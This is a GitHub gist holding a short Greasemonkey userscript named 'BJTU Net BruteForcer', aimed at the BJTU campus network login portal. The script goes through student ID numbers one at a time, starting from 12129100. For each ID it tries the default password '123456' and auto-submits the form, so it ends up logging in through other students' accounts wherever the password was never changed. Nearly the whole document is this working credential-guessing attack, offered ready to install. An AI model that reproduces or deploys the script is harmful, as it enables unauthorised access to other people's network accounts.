Skip to content

Instantly share code, notes, and snippets.

@damoun
Created October 28, 2012 07:31
Show Gist options
  • Save damoun/3967968 to your computer and use it in GitHub Desktop.
Save damoun/3967968 to your computer and use it in GitHub Desktop.
Greasemonkey script to login on Wifi/Ethernet Web Login at BJTU
// ==UserScript==
// @name BJTU Net BruteForcer
// @namespace https://gist.github.com/gists/3967968
// @version 0.45
// @description Greasemonkey script to login on Wifi/Ethernet Web Login at BJTU
// @author Damien Plenard
// @include https://10.1.154.*/portal/*
// @include http://10.10.43.3/*
// @grant GM_getValue
// @grant GM_setValue
// @update https://raw.github.com/gist/3967968/bjtu-net-bruteforcer.user.js
// ==/UserScript==
if (GM_getValue('studentId') == undefined)
GM_setValue('studentId', 12129100);
if (window.location.href == 'http://10.10.43.3/'
&& document.getElementsByTagName('input').length == 1) {
document.getElementsByTagName('input')[0].click();
} else if (document.getElementsByTagName('input').length >= 4) {
document.getElementsByTagName('input')[0].value = GM_getValue('studentId');
GM_setValue('studentId', GM_getValue('studentId') + 1);
document.getElementsByTagName('input')[1].value = '123456'; // password...
document.getElementsByTagName('input')[2].click();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment